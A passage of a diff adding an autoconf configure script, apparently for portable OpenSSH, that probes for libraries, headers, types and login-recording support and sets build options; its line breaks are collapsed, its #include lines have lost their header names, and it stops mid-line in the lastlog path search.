Digital Unix Security Integration Architecture) + if test -f /etc/sia/matrix.conf; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_OSF_SIA) + AC_DEFINE(DISABLE_LOGIN) + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + AC_MSG_RESULT(no) + fi + fi + ;; +esac + +# Allow user to specify flags +AC_ARG_WITH(cflags, + [ --with-cflags Specify additional flags to pass to compiler], + [ + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + ] +) +AC_ARG_WITH(ldflags, + [ --with-ldlags Specify additional flags to pass to linker], + [ + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + ] +) +AC_ARG_WITH(libs, + [ --with-libs Specify additional libraries to link with], + [ + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + ] +) + + +# Checks for libraries. +AC_CHECK_LIB(z, deflate, ,AC_MSG_ERROR([*** zlib missing - please install first ***])) +AC_CHECK_LIB(util, login, AC_DEFINE(HAVE_LIBUTIL_LOGIN) LIBS="$LIBS -lutil") + +if test -z "$no_libsocket" ; then + AC_CHECK_LIB(nsl, yp_match, , ) +fi +if test -z "$no_libnsl" ; then + AC_CHECK_LIB(socket, main, , ) +fi + +# Checks for header files. +AC_CHECK_HEADERS(bstring.h endian.h floatingpoint.h lastlog.h limits.h login.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h stddef.h time.h usersec.h util.h utmp.h utmpx.h) + +# Checks for library functions. +AC_CHECK_FUNCS(arc4random atexit b64_ntop bcopy bindresvport_af clock freeaddrinfo gai_strerror getaddrinfo getnameinfo getrusage inet_aton innetgr md5_crypt memmove mkdtemp on_exit openpty rresvport_af setenv seteuid setlogin setproctitle setreuid sigaction sigvec snprintf strerror strlcat strlcpy strsep vsnprintf vhangup _getpty __b64_ntop) +dnl checks for time functions +AC_CHECK_FUNCS(gettimeofday time) +dnl checks for libutil functions +AC_CHECK_FUNCS(login logout updwtmp logwtmp) +dnl checks for utmp functions +AC_CHECK_FUNCS(entutent getutent getutid getutline pututline setutent) +AC_CHECK_FUNCS(utmpname) +dnl checks for utmpx functions +AC_CHECK_FUNCS(entutxent getutxent getutxid getutxline pututxline ) +AC_CHECK_FUNCS(setutxent utmpxname) + +AC_CHECK_FUNC(getuserattr, + [AC_DEFINE(HAVE_GETUSERATTR)], + [AC_CHECK_LIB(s, getuserattr, [LIBS="$LIBS -ls"; AC_DEFINE(HAVE_GETUSERATTR)])] +) + +AC_CHECK_FUNC(login, + [AC_DEFINE(HAVE_LOGIN)], + [AC_CHECK_LIB(bsd, login, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_LOGIN)])] +) + +AC_CHECK_FUNC(daemon, + [AC_DEFINE(HAVE_DAEMON)], + [AC_CHECK_LIB(bsd, daemon, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_DAEMON)])] +) + +AC_CHECK_FUNC(getpagesize, + [AC_DEFINE(HAVE_GETPAGESIZE)], + [AC_CHECK_LIB(ucb, getpagesize, [LIBS="$LIBS -lucb"; AC_DEFINE(HAVE_GETPAGESIZE)])] +) + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + AC_MSG_CHECKING([whether snprintf correctly terminates long strings]) + AC_TRY_RUN( + [ +#include +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + ], + [AC_MSG_RESULT(yes)], + [ + AC_MSG_RESULT(no) + AC_DEFINE(BROKEN_SNPRINTF) + AC_MSG_WARN([****** Your snprintf() function is broken, complain to your vendor]) + ] + ) +fi + +PAM_MSG="no" +AC_ARG_WITH(pam, + [ --without-pam Disable PAM support ], + [ + if test "x$withval" = "xno" ; then + no_pam=1 + AC_DEFINE(DISABLE_PAM) + PAM_MSG="disabled" + fi + ] +) +if (test -z "$no_pam" && test "x$ac_cv_header_security_pam_appl_h" = "xyes") ; then + AC_CHECK_LIB(dl, dlopen, , ) + LIBS="$LIBS -lpam" + + AC_CHECK_FUNCS(pam_getenvlist) + + disable_shadow=yes + + PAM_MSG="yes" + + # Check PAM strerror arguments (old PAM) + AC_MSG_CHECKING([whether pam_strerror takes only one argument]) + AC_TRY_COMPILE( + [ +#include +#include + ], + [(void)pam_strerror((pam_handle_t *)NULL, -1);], + [AC_MSG_RESULT(no)], + [ + AC_DEFINE(HAVE_OLD_PAM) + AC_MSG_RESULT(yes) + PAM_MSG="yes (old library)" + ] + ) +fi + +# The big search for OpenSSL +AC_ARG_WITH(ssl-dir, + [ --with-ssl-dir=PATH Specify path to OpenSSL installation ], + [ + if test "x$withval" != "$xno" ; then + tryssldir=$withval + fi + ] +) + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CFLAGS="$CFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +AC_CACHE_CHECK([for OpenSSL directory], ac_cv_openssldir, [ + + for ssldir in "" $tryssldir /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + if test ! -z "$ssldir" ; then + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + CFLAGS="$saved_CFLAGS -I$ssldir/include" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + else + LDFLAGS="$saved_LDFLAGS" + fi + + LIBS="$saved_LIBS -lcrypto" + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + AC_TRY_RUN( + [ +#include +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + ], + [ + found_crypto=1 + break; + ], [] + ) + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + AC_MSG_ERROR([Could not find working SSLeay / OpenSSL libraries, please install]) + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir +]) + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + AC_DEFINE(HAVE_OPENSSL) + dnl Need to recover ssldir - test above runs in subshell + ssldir=$ac_cv_openssldir + CFLAGS="$saved_CFLAGS -I$ssldir/include" + LDFLAGS="$saved_LDFLAGS -L$ssldir/lib -L$ssldir" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R$ssldir/lib -R$ssldir" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:$ssldir:$ssldir/lib" + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +AC_MSG_CHECKING([for RSA support]) +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + AC_TRY_RUN([ +#include +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + ], + [ + rsa_works=1 + break; + ], []) +done + +if test ! -z "$no_rsa" ; then + AC_MSG_RESULT(disabled) + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + AC_MSG_WARN([*** No RSA support found *** ]) + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + AC_MSG_RESULT(yes) + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + AC_MSG_RESULT(using RSAref) + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Checks for data types +AC_CHECK_SIZEOF(char, 1) +AC_CHECK_SIZEOF(short int, 2) +AC_CHECK_SIZEOF(int, 4) +AC_CHECK_SIZEOF(long int, 4) +AC_CHECK_SIZEOF(long long int, 8) + +# More checks for data types +AC_CACHE_CHECK([for intXX_t types], ac_cv_have_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ int8_t a; int16_t b; int32_t c; a = b = c = 1;], + [ ac_cv_have_intxx_t="yes" ], + [ ac_cv_have_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_INTXX_T) + have_intxx_t=1 +fi + +AC_CACHE_CHECK([for u_intXX_t types], ac_cv_have_u_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1;], + [ ac_cv_have_u_intxx_t="yes" ], + [ ac_cv_have_u_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_U_INTXX_T) + have_u_intxx_t=1 +fi + + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + AC_MSG_CHECKING([for intXX_t and u_intXX_t types in sys/bitypes.h]) + AC_TRY_COMPILE( + [ +#include + ], + [ + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + ], + [ + AC_DEFINE(HAVE_U_INTXX_T) + AC_DEFINE(HAVE_INTXX_T) + AC_MSG_RESULT(yes) + ], + [AC_MSG_RESULT(no)] + ) +fi + +if test -z "$have_u_intxx_t" ; then + AC_CACHE_CHECK([for uintXX_t types], ac_cv_have_uintxx_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; ], + [ ac_cv_have_uintxx_t="yes" ], + [ ac_cv_have_uintxx_t="no" ] + ) + ]) + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + AC_DEFINE(HAVE_UINTXX_T) + fi +fi + +AC_CACHE_CHECK([for socklen_t], ac_cv_have_socklen_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [socklen_t foo; foo = 1235;], + [ ac_cv_have_socklen_t="yes" ], + [ ac_cv_have_socklen_t="no" ] + ) +]) +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + AC_DEFINE(HAVE_SOCKLEN_T) +fi + +AC_CACHE_CHECK([for size_t], ac_cv_have_size_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ size_t foo; foo = 1235; ], + [ ac_cv_have_size_t="yes" ], + [ ac_cv_have_size_t="no" ] + ) +]) +if test "x$ac_cv_have_size_t" = "xyes" ; then + AC_DEFINE(HAVE_SIZE_T) +fi + +AC_CACHE_CHECK([for ssize_t], ac_cv_have_ssize_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ ssize_t foo; foo = 1235; ], + [ ac_cv_have_ssize_t="yes" ], + [ ac_cv_have_ssize_t="no" ] + ) +]) +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + AC_DEFINE(HAVE_SSIZE_T) +fi + +AC_CACHE_CHECK([for sa_family_t], ac_cv_have_sa_family_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ sa_family_t foo; foo = 1235; ], + [ ac_cv_have_sa_family_t="yes" ], + [ ac_cv_have_sa_family_t="no" ] + ) +]) +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + AC_DEFINE(HAVE_SA_FAMILY_T) +fi + +AC_CACHE_CHECK([for pid_t], ac_cv_have_pid_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ pid_t foo; foo = 1235; ], + [ ac_cv_have_pid_t="yes" ], + [ ac_cv_have_pid_t="no" ] + ) +]) +if test "x$ac_cv_have_pid_t" = "xyes" ; then + AC_DEFINE(HAVE_PID_T) +fi + +AC_CACHE_CHECK([for mode_t], ac_cv_have_mode_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ mode_t foo; foo = 1235; ], + [ ac_cv_have_mode_t="yes" ], + [ ac_cv_have_mode_t="no" ] + ) +]) +if test "x$ac_cv_have_mode_t" = "xyes" ; then + AC_DEFINE(HAVE_MODE_T) +fi + + +AC_CACHE_CHECK([for struct sockaddr_storage], ac_cv_have_struct_sockaddr_storage, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; ], + [ ac_cv_have_struct_sockaddr_storage="yes" ], + [ ac_cv_have_struct_sockaddr_storage="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_STORAGE) +fi + +AC_CACHE_CHECK([for struct sockaddr_in6], ac_cv_have_struct_sockaddr_in6, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_in6 s; s.sin6_family = 0; ], + [ ac_cv_have_struct_sockaddr_in6="yes" ], + [ ac_cv_have_struct_sockaddr_in6="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_IN6) +fi + +AC_CACHE_CHECK([for struct in6_addr], ac_cv_have_struct_in6_addr, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct in6_addr s; s.s6_addr[0] = 0; ], + [ ac_cv_have_struct_in6_addr="yes" ], + [ ac_cv_have_struct_in6_addr="no" ] + ) +]) +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_IN6_ADDR) +fi + +AC_CACHE_CHECK([for struct addrinfo], ac_cv_have_struct_addrinfo, [ + AC_TRY_COMPILE( + [ +#include +#include +#include + ], + [ struct addrinfo s; s.ai_flags = AI_PASSIVE; ], + [ ac_cv_have_struct_addrinfo="yes" ], + [ ac_cv_have_struct_addrinfo="no" ] + ) +]) +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_ADDRINFO) +fi + + +# Checks for structure members + +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmp.h, HAVE_HOST_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmpx.h, HAVE_HOST_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(syslen, utmpx.h, HAVE_SYSLEN_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_pid, utmp.h, HAVE_PID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmp.h, HAVE_TYPE_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmpx.h, HAVE_TYPE_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmp.h, HAVE_TV_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmp.h, HAVE_ID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmpx.h, HAVE_ID_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmp.h, HAVE_ADDR_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmpx.h, HAVE_ADDR_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmp.h, HAVE_ADDR_V6_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmpx.h, HAVE_ADDR_V6_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_exit, utmp.h, HAVE_EXIT_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmp.h, HAVE_TIME_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmpx.h, HAVE_TIME_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmpx.h, HAVE_TV_IN_UTMPX) + +AC_CACHE_CHECK([for ss_family field in struct sockaddr_storage], + ac_cv_have_ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.ss_family = 1; ], + [ ac_cv_have_ss_family_in_struct_ss="yes" ], + [ ac_cv_have_ss_family_in_struct_ss="no" ], + ) +]) +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE_SS_FAMILY_IN_SS) +fi + +AC_CACHE_CHECK([for __ss_family field in struct sockaddr_storage], + ac_cv_have___ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.__ss_family = 1; ], + [ ac_cv_have___ss_family_in_struct_ss="yes" ], + [ ac_cv_have___ss_family_in_struct_ss="no" ] + ) +]) +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE___SS_FAMILY_IN_SS) +fi + + +AC_CACHE_CHECK([if libc defines __progname], ac_cv_libc_defines___progname, [ + AC_TRY_LINK([], + [ extern char *__progname; printf("%s", __progname); ], + [ ac_cv_libc_defines___progname="yes" ], + [ ac_cv_libc_defines___progname="no" ] + ) +]) +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + AC_DEFINE(HAVE___PROGNAME) +fi + + +AC_CACHE_CHECK([if libc defines sys_errlist], ac_cv_libc_defines_sys_errlist, [ + AC_TRY_LINK([], + [ extern const char *const sys_errlist[]; printf("%s", sys_errlist[0]);], + [ ac_cv_libc_defines_sys_errlist="yes" ], + [ ac_cv_libc_defines_sys_errlist="no" ] + ) +]) +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + AC_DEFINE(HAVE_SYS_ERRLIST) +fi + + +# Looking for programs, paths and files +AC_ARG_WITH(rsh, + [ --with-rsh=PATH Specify path to remote shell program ], + [ + if test "x$withval" != "$no" ; then + rsh_path=$withval + fi + ], + [ + AC_PATH_PROG(rsh_path, rsh) + ] +) + +AC_ARG_WITH(xauth, + [ --with-xauth=PATH Specify path to xauth program ], + [ + if test "x$withval" != "$xno" ; then + xauth_path=$withval + fi + ], + [ + AC_PATH_PROG(xauth_path, xauth) + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + ] +) + +if test ! -z "$xauth_path" ; then + AC_DEFINE_UNQUOTED(XAUTH_PATH, "$xauth_path") +fi +if test ! -z "$rsh_path" ; then + AC_DEFINE_UNQUOTED(RSH_PATH, "$rsh_path") +fi + +# Check for mail directory (last resort if we cannot get it from headers) +if test ! -z "$MAIL" ; then + maildir=`dirname $MAIL` + AC_DEFINE_UNQUOTED(MAIL_DIRECTORY, "$maildir") +fi + +if test -z "$no_dev_ptmx" ; then + AC_CHECK_FILE("/dev/ptmx", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTMX) + have_dev_ptmx=1 + ] + ) +fi +AC_CHECK_FILE("/dev/ptc", + [ + AC_DEFINE_UNQUOTED(HAVE_DEV_PTS_AND_PTC) + have_dev_ptc=1 + ] +) + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +AC_ARG_WITH(random, + [ --with-random=FILE read randomness from FILE (default=/dev/urandom)], + [ + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + fi + ], + [ + # Check for random device + AC_CHECK_FILE("/dev/urandom", + [ + RANDOM_POOL="/dev/urandom"; + AC_SUBST(RANDOM_POOL) + AC_DEFINE_UNQUOTED(RANDOM_POOL, "$RANDOM_POOL") + ] + ) + ] +) + +# Check for EGD pool file +AC_ARG_WITH(egd-pool, + [ --with-egd-pool=FILE read randomness from EGD pool FILE (default none)], + [ + if test "x$withval" != "xno" ; then + EGD_SOCKET="$withval"; + AC_DEFINE_UNQUOTED(EGD_SOCKET, "$EGD_SOCKET") + fi + ] +) + +# detect pathnames for entropy gathering commands, if we need them +INSTALL_SSH_PRNG_CMDS="" +rm -f prng_commands +if (test -z "$RANDOM_POOL" && test -z "$EGD_SOCKET") ; then + # Use these commands to collect entropy + OSSH_PATH_ENTROPY_PROG(PROG_LS, ls) + OSSH_PATH_ENTROPY_PROG(PROG_NETSTAT, netstat) + OSSH_PATH_ENTROPY_PROG(PROG_ARP, arp) + OSSH_PATH_ENTROPY_PROG(PROG_IFCONFIG, ifconfig) + OSSH_PATH_ENTROPY_PROG(PROG_PS, ps) + OSSH_PATH_ENTROPY_PROG(PROG_W, w) + OSSH_PATH_ENTROPY_PROG(PROG_WHO, who) + OSSH_PATH_ENTROPY_PROG(PROG_LAST, last) + OSSH_PATH_ENTROPY_PROG(PROG_LASTLOG, lastlog) + OSSH_PATH_ENTROPY_PROG(PROG_DF, df) + OSSH_PATH_ENTROPY_PROG(PROG_VMSTAT, vmstat) + OSSH_PATH_ENTROPY_PROG(PROG_UPTIME, uptime) + OSSH_PATH_ENTROPY_PROG(PROG_IPCS, ipcs) + OSSH_PATH_ENTROPY_PROG(PROG_TAIL, tail) + OSSH_PATH_ENTROPY_PROG(PROG_LS, ls) + + INSTALL_SSH_PRNG_CMDS="yes" +fi +AC_SUBST(INSTALL_SSH_PRNG_CMDS) + + +AC_ARG_WITH(catman, + [ --with-catman=man|cat Install preformatted manpages[no]], + [ + MANTYPE='$(CATMAN)' + if test x"$withval" != x"yes" ; then + mansubdir=$withval + else + mansubdir=cat + fi + ], [ + if test -z "$MANTYPE" ; then + MANTYPE='$(TROFFMAN)' + mansubdir=man + fi + ] +) +AC_SUBST(MANTYPE) +AC_SUBST(mansubdir) + +# Check whether user wants Kerberos support +KRB4_MSG="no" +AC_ARG_WITH(kerberos4, + [ --with-kerberos4=PATH Enable Kerberos 4 support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CFLAGS="$CFLAGS -I/usr/include/kerberosIV" + fi + fi + + AC_CHECK_HEADERS(krb.h) + AC_CHECK_LIB(krb, main) + if test "$ac_cv_header_krb_h" != yes; then + AC_MSG_WARN([Cannot find krb.h, build may fail]) + fi + if test "$ac_cv_lib_krb_main" != yes; then + AC_MSG_WARN([Cannot find libkrb, build may fail]) + fi + + KLIBS="-lkrb -ldes" + AC_CHECK_LIB(resolv, dn_expand, , ) + KRB4=yes + KRB4_MSG="yes" + AC_DEFINE(KRB4) + fi + ] +) + +# Check whether user wants AFS support +AFS_MSG="no" +AC_ARG_WITH(afs, + [ --with-afs=PATH Enable AFS support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LFLAGS="$LFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + AC_MSG_WARN([AFS requires Kerberos IV support, build may fail]) + fi + + LIBS="$LIBS -lkafs" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + AC_DEFINE(AFS) + AFS_MSG="yes" + fi + ] +) +LIBS="$LIBS $KLIBS" + +# Check whether user wants S/Key support +SKEY_MSG="no" +AC_ARG_WITH(skey, + [ --with-skey Enable S/Key support], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(SKEY) + LIBS="$LIBS -lskey" + SKEY_MSG="yes" + fi + ] +) + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +AC_ARG_WITH(tcp-wrappers, + [ --with-tcp-wrappers Enable tcpwrappers support], + [ + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="$LIBS -lwrap" + AC_MSG_CHECKING(for libwrap) + AC_TRY_LINK( + [ +#include + int deny_severity = 0, allow_severity = 0; + ], + [hosts_access(0);], + [ + AC_MSG_RESULT(yes) + AC_DEFINE(LIBWRAP) + TCPW_MSG="yes" + ], + [ + AC_MSG_ERROR([*** libwrap missing]) + ] + ) + fi + ] +) + +# Check whether to enable MD5 passwords +MD5_MSG="no" +AC_ARG_WITH(md5-passwords, + [ --with-md5-passwords Enable use of MD5 passwords], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(HAVE_MD5_PASSWORDS) + MD5_MSG="yes" + fi + ] +) + +# Whether to disable shadow password support +AC_ARG_WITH(shadow, + [ --without-shadow Disable shadow password support], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(DISABLE_SHADOW) + disable_shadow=yes + fi + ] +) + +if test -z "$disable_shadow" ; then + AC_MSG_CHECKING([if the systems has expire shadow information]) + AC_TRY_COMPILE( + [ +#include +#include + struct spwd sp; + ],[ sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; ], + [ sp_expire_available=yes ], [] + ) + + if test "x$sp_expire_available" = "xyes" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAS_SHADOW_EXPIRE) + else + AC_MSG_RESULT(no) + fi +fi + +# Use ip address instead of hostname in $DISPLAY +DISPLAY_HACK_MSG="no" +AC_ARG_WITH(ipaddr-display, + [ --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY], + [ + if test "x$withval" = "xno" ; then + AC_DEFINE(IPADDR_IN_DISPLAY) + DISPLAY_HACK_MSG="yes" + fi + ] +) + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +AC_ARG_WITH(default-path, + [ --with-default-path=PATH Specify default \$PATH environment for server], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE_UNQUOTED(USER_PATH, "$withval") + SERVER_PATH_MSG="$withval" + fi + ] +) + +# Whether to force IPv4 by default (needed on broken glibc Linux) +IPV4_HACK_MSG="no" +AC_ARG_WITH(ipv4-default, + [ --with-ipv4-default Use IPv4 by connections unless '-6' specified], + [ + if test "x$withval" != "xno" ; then + AC_DEFINE(IPV4_DEFAULT) + IPV4_HACK_MSG="yes" + fi + ] +) + +AC_MSG_CHECKING([if we need to convert IPv4 in IPv6-mapped addresses]) +IPV4_IN6_HACK_MSG="no" +AC_ARG_WITH(4in6, + [ --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses], + [ + if test "x$withval" != "xno" ; then + AC_MSG_RESULT(yes) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT(no) + fi + ],[ + if test "x$inet6_default_4in6" = "xyes"; then + AC_MSG_RESULT([yes (default)]) + AC_DEFINE(IPV4_IN_IPV6) + IPV4_IN6_HACK_MSG="yes" + else + AC_MSG_RESULT([no (default)]) + fi + ] +) + +# Where to place sshd.pid +piddir=/var/run +AC_ARG_WITH(pid-dir, + [ --with-pid-dir=PATH Specify location of ssh.pid file], + [ + if test "x$withval" != "xno" ; then + piddir=$withval + fi + ] +) + +AC_DEFINE_UNQUOTED(PIDDIR, "$piddir") +AC_SUBST(piddir) + +dnl allow user to disable some login recording features +AC_ARG_ENABLE(lastlog, + [ --disable-lastlog disable use of lastlog even if detected [no]], + [ AC_DEFINE(DISABLE_LASTLOG) ] +) +AC_ARG_ENABLE(utmp, + [ --disable-utmp disable use of utmp even if detected [no]], + [ AC_DEFINE(DISABLE_UTMP) ] +) +AC_ARG_ENABLE(utmpx, + [ --disable-utmpx disable use of utmpx even if detected [no]], + [ AC_DEFINE(DISABLE_UTMPX) ] +) +AC_ARG_ENABLE(wtmp, + [ --disable-wtmp disable use of wtmp even if detected [no]], + [ AC_DEFINE(DISABLE_WTMP) ] +) +AC_ARG_ENABLE(wtmpx, + [ --disable-wtmpx disable use of wtmpx even if detected [no]], + [ AC_DEFINE(DISABLE_WTMPX) ] +) +AC_ARG_ENABLE(libutil, + [ --disable-libutil disable use of libutil (login() etc.) [no]], + [ AC_DEFINE(DISABLE_LOGIN) ] +) +AC_ARG_ENABLE(pututline, + [ --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]], + [ AC_DEFINE(DISABLE_PUTUTLINE) ] +) +AC_ARG_ENABLE(pututxline, + [ --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]], + [ AC_DEFINE(DISABLE_PUTUTXLINE) ] +) +AC_ARG_WITH(lastlog, + [ --with-lastlog=FILE|DIR specify lastlog location [common locations]], + [ conf_lastlog_location="$withval"; ],) + +dnl lastlog, [uw]tmpx? detection +dnl NOTE: set the paths in the platform section to avoid the +dnl need for command-line parameters +dnl lastlog and [uw]tmp are subject to a file search if all else fails + +dnl lastlog detection +dnl NOTE: the code itself will detect if lastlog is a directory +AC_MSG_CHECKING([if your system defines LASTLOG_FILE]) +AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = LASTLOG_FILE; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + AC_MSG_CHECKING([if your system defines _PATH_LASTLOG]) + AC_TRY_COMPILE([ +#include +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + ], + [ char *lastlog = _PATH_LASTLOG; ], + [ AC_MSG_RESULT(yes) ], + [ + AC_MSG_RESULT(no) + system_lastlog_path=no + ]) + ] +) + +if test -z "$conf_lastlog_location"; then + if test x"$system_lastlog_path" = x"no" ; then + for f in /var/log/lastlog /usr/adm/lastlog /var/adm/lastlog /etc/security/lastlog ; do + if (test -d "$f" || test -f 